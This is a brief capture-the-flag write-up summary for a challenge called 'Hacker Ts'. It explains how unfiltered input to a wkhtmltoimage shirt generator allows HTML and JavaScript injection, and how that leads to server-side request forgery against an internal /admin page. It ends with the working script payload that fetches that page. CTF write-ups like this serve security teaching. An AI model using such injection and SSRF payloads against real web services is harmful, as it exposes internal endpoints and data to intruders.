Hacker Ts was a hard-rated challenge featuring a simple webapp that used wkhtmltoimage to make a custom "hacker shirt" image. The website is doing no filtering, allowing for HTML injection and by extension, arbitrary JS execution. We then leverage this to get SSRF on the `/admin` directory and get the flag. See the full writeup [here](https://an00brektn.github.io/nahamcon-hacker-ts/).

Final payload:
```html
<div id='stuff'>a</div>
<script>
x = new XMLHttpRequest();
x.open('GET','http://localhost:5000/admin',false);
x.send();
document.getElementById('stuff').innerHTML= x.responseText;
</script>
```